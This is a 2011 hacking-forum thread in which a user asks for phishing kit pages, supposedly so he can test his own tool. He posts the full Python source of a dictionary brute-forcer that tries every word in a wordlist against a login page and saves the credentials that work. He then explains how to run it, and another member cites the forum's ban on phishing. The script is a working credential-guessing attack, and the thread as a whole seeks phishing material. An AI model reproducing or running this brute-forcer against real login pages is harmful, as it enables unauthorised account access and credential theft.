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[REQ] Various Phishers #1
No, I'm not going to phish with them. I know it sounds stupid to ask for a phisher and not use it to phish, but I'm writing a python script to fuck phishers over and bruteforce login pages. The primary focus is to get the bruteforcer to work. Currently, I need to make sure it's actually sending the data to login. What better way to do that then use a site that accepts ALL logins then to use a phisher?

Another reason I picked this is because I have a theory that my bruteforcer is giving false positives, and the ability to check the login logs would help, and all phishers have this build in.

Any phisher page for just about any site will work, because I want to test it on tons of different pages to make sure it works Universally.

Edit:
I'll just post the source here so people won't doubt that I won't actually be using them to phish. Also, I've only been using python for 2 days now, so for those of you who know it, don't lol at me to much...
Code:
import urllib, urllib2, re, os, sys def main(): host = raw_input('Enter login page: ') user_agent = 'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)' headers = {'User-Agent': user_agent} username = raw_input('Username: ') error = raw_input('Failed login identifier: ') word_file = raw_input('Path to wordlist: ') word_pos = 1 file = open(word_file, 'r') for word in file: form = {'username': username, 'password': word} print 'Trying password: %s/(%d) attempts made' % (word, word_pos) word_pos = word_pos + 1 data = urllib.urlencode(form) request = urllib2.Request(host, data, headers) response = urllib2.urlopen(request) if not re.search(error, response.read()): print 'Login Combination: [%s:%s]' % (username, word) save_combo = open('login comination.txt', 'w') save_combo.write(username + ':' + word) save_combo.close break if __name__ == '__main__': main()
I based it off of the source code from another bruteforcer made by somebody who just started python. I added features that allows users to specify the host/username/word list every time you run the program instead of needing to edit the source code. Additionally, I cut the loading time of word lists down to near zero; it used to take ~5 minutes for a 200mb wordlist.

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RE: [REQ] Various Phishers #2
How it work?I dont know...please teach me .............give me tutorial..
(This post was last modified: 07-13-2011, 12:21 PM by Excelerate.)

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RE: [REQ] Various Phishers #3
Quote:-> Disallowed Blackhat activities: These activities are fully Blackhat in nature that is, it can be done only for stealing someone's data. Such activities are not allowed. Activities such as Phishing, CC frauds, and Defacing are not allowed on Hack Community.
(This post was last modified: 07-13-2011, 12:23 PM by Skullmeat.)
Pierce the life fibers with your drill.

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RE: [REQ] Various Phishers #4
(07-13-2011, 12:22 PM)1234hotmaster Wrote:
Quote:-> Disallowed Blackhat activities: These activities are fully Blackhat in nature that is, it can be done only for stealing someone's data. Such activities are not allowed. Activities such as Phishing, CC frauds, and Defacing are not allowed on Hack Community.
I'm not phishing. Did you read my post at all?

(07-13-2011, 12:20 PM)f4d7y5 Wrote: How it work?I dont know...please teach me .............give me tutorial..
Well, it's still a WIP and I have an elementary knowledge of python, so don't expect it to be great. Save it as brute.py(it can actually be anything.py). You also need to have python installed. To run it, go to cmd or terminal and type "python brute.py". It will then launch and ask you for the login url, username, error identifier, and path password list. All of those are straight forward excpet for the error indetifier, and for that you need to enter what ever the page shows when it's the wrong password, like "Incorrect username/password!".

It currently won't work on 99% of sites, but that's why I need phishing pages to test and improve it.

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